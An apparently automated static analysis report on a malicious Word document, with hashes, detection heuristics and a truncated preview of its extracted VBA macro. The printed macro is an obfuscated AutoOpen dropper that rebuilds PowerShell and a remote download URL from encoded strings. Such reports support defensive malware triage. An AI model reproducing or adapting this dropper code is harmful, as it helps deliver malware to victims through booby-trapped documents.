Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ef34fbf8920de48…

MALICIOUS

Office (OLE)

114.5 KB Created: 2018-02-05 13:31:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: 9b6afccca35356f9054417928c9ec45f SHA-1: 6f4a6884e664de687b993823e9074e663c967aaa SHA-256: 6ef34fbf8920de4890e5de81f0bce78cac91c8ec07b0d5f3a5764d763033388d
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes a Shell() call, indicating an attempt to execute arbitrary commands. The script also appears to be obfuscated and attempts to reconstruct strings, suggesting it is designed to download and execute a secondary payload. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further supports this dropper functionality.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36602 bytes
SHA-256: ca6be1af9569ccedd7845f0e5cb113d016fdda86ce84840637f3a552b9f57e71
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HaGKUlFuh"
Sub AutoOpen()
On Error Resume Next
VNLfhESLY = uDJIQENwvZoqbF + CDate(1379993) / 4143490 / 4384508 - 6218694 - Fix(2374432)
FsFOEBEGh = joBrGpOopBZtzc + CDate(7985864) / 1369384 / 6084593 - 7447796 - Fix(1106125)
YMhmwSDop = GLwfzPk + CDate(7577644) / 9647028 / 3945140 - 2962781 - Fix(8602108)
jhinMucYz = SAJmzCCZCA + CDate(4848697) / 6957962 / 6753032 - 8130930 - Fix(5180329)
Application.Run "KjZkNDRwfl", TOQGQwaGCAmJ
NANFThSqf = AHLGJMQHktz + CDate(4248160) / 2056923 / 3120563 - 6437182 - Fix(7180062)
YROTwwoMw = PTdoAKiHzvqTto + CDate(1648022) / 5597597 / 9750155 - 9441120 - Fix(5662865)
rpwXiIAbL = BTzHOwzdvtmr + CDate(692374) / 3301715 / 7377700 - 9077766 - Fix(1093828)
YZKTzriHE = vvfziSYzb + CDate(8138862) / 2315509 / 5876909 - 8529998 - Fix(2151740)
End Sub
Function TOQGQwaGCAmJ()
On Error Resume Next
lqdcI = ("Qw75@47%51,50%44<123c104,103@51@73t142z162c145c141,153c73@175t14I1iqzGVdjKRD0J0RBhcLjOA6mFDX")
TKZWbXpXBmu = jNoiCXO + CDate(3407125) / 6124167 / 1423801 - 9944120 - Fix(3397327)
UmRPdnYWK = tbsahsXJhr + CDate(4031779) / 7031559 / 1149875 - 8146647 - Fix(4232918)
ccszVE = Mid(lqdcI, 4, 61)
bHrutnwOaU = ("sa5EHwml4z151g145<156c164%73<44c116%123@102sUlbk4Opnj0BXiX")
awKOHScH = SjNBPttbYIsszW + CDate(3675463) / 9544102 / 9316728 - 6281356 - Fix(8645290)
JJKmVCLTh = kJzYbGVw + CDate(312070) / 8107603 / 9722146 - 5861014 - Fix(4937849)
dzjlmUTl = Mid(bHrutnwOaU, 10, 34)
ssDtrWUzk = ("7zvkLNd94 . ((GET-vaRIAbLe '*MDr*').nAMe[3,11,2]-jOIN'')( [StRIng]::Join( '' ,('44;156z163z141c144,141c163z144U40U75z40c46U50@47;156c47,53z47<145t47;53,451Pn3kZni5mbw1s5bHzMYZ")
OcdjwjTm = bIIlpZI + CDate(4603587) / 9444570 / 5025974 - 6694956 - Fix(1914226)
pREujtrit = SLwhasFQr + CDate(3414248) / 7223206 / 697430 - 4499239 - Fix(4481561)
NNMVIqNdYCw = Mid(ssDtrWUzk, 10, 144)
RjsvTBPKqU = ("zazJTw2@145z143U47z53<47<164%47g51t40c162@141@156c144t157c155g73@44;131UPdSlDVJQ6")
XfirSzhOM = tpjnlblvA + CDate(448641) / 1491423 / 6878270 - 6888433 - Fix(8273658)
ODzYp = iRCqldznYj + CDate(3997163) / 6368789 / 6568152 - 6377245 - Fix(8681089)
SMmrk = Mid(RjsvTBPKqU, 7, 66)
SqDhsPchY = ("M1)),8)-aS[Char])} ) ) ) 2FD0uFIKUkwK")
nzPFJj = OnsSPbcSptCLEQ + CDate(8959175) / 619092 / 2761453 - 1370241 - Fix(7731479)
rPsHF = XLSbOhQzlF + CDate(4850334) / 8860975 / 9019881 - 7859091 - Fix(1242351)
JdrCUKaZGcO = Mid(SqDhsPchY, 3, 23)
NmtnFj = ("VhUa%145;170z145;77U150%164c164t160;163c72,57g57U141U156<147,162;171<142z151z162<144@163<156<145c167c56;164t157@160@57;146<165%153,163c157U154%57t143t143,166z150%157<163c164@151cTkHYjAaG")
kJpjph = DVRDhKdhkU + CDate(1589448) / 3149724 / 2914074 - 1990775 - Fix(246927)
YKHzCB = zdBKicnhF + CDate(360763) / 9247556 / 504934 - 7641295 - Fix(9118377)
OVJvrT = Mid(NmtnFj, 5, 174)
BjzYu = ("8iXUVPi53;40t47c134c47z40<53z40g44<116,123%1iCtCJ")
YFqcDWwcd = lsQKvjKp + CDate(663385) / 9659615 / 8422559 - 5171601 - Fix(6624554)
XbAzjW = zjOatpOTiwHd + CDate(8183758) / 7656842 / 6602710 - 4881926 - Fix(5697798)
EwwntROV = Mid(BjzYu, 8, 37)
fjvwnPmiiW = ("dKdBj68VzC6JT67nMicAi140U151%140%116t147t42@50U51@54z40;44%123U104g103;51,73t46@50g47;111z156@166z157z47t2FHr4I")
uAOQcRqXHK = nNPNGRJwSNTDR + CDate(8639780) / 4380706 / 1365349 - 5781458 - Fix(3961824)
KXjQjKjz = zGokucTpEz + CDate(6453263) / 8137572 / 4306278 - 5882238 - Fix(7721260)
PzXMs = Mid(fjvwnPmiiW, 22, 83)
ssMnis = ("ridzi9G45t142U103%154QNP")
mWPoLsNmBKw = OJHTBfiw + CDate(5610510) / 3918338 / 7095623 - 7445854 - Fix(5448927)
uLmCHXEkH = zkXzYdp + CDate(9313305) / 7719354 / 3545214 - 9429049 - Fix(4485579)
UAnZTE = Mid(ssMnis, 8, 14)
pMfmmRZ = ("ol7c167<55@157g142t158SGsdtLU4BNi5E2ZiYNr3RJKn0Gj")
zShJKVh = akYOjtcTJMVRVp + CDate(4285401) / 5869785 / 448874 - 1539435 - Fix(7864154)
zdLmG = qqJwPK
... (truncated)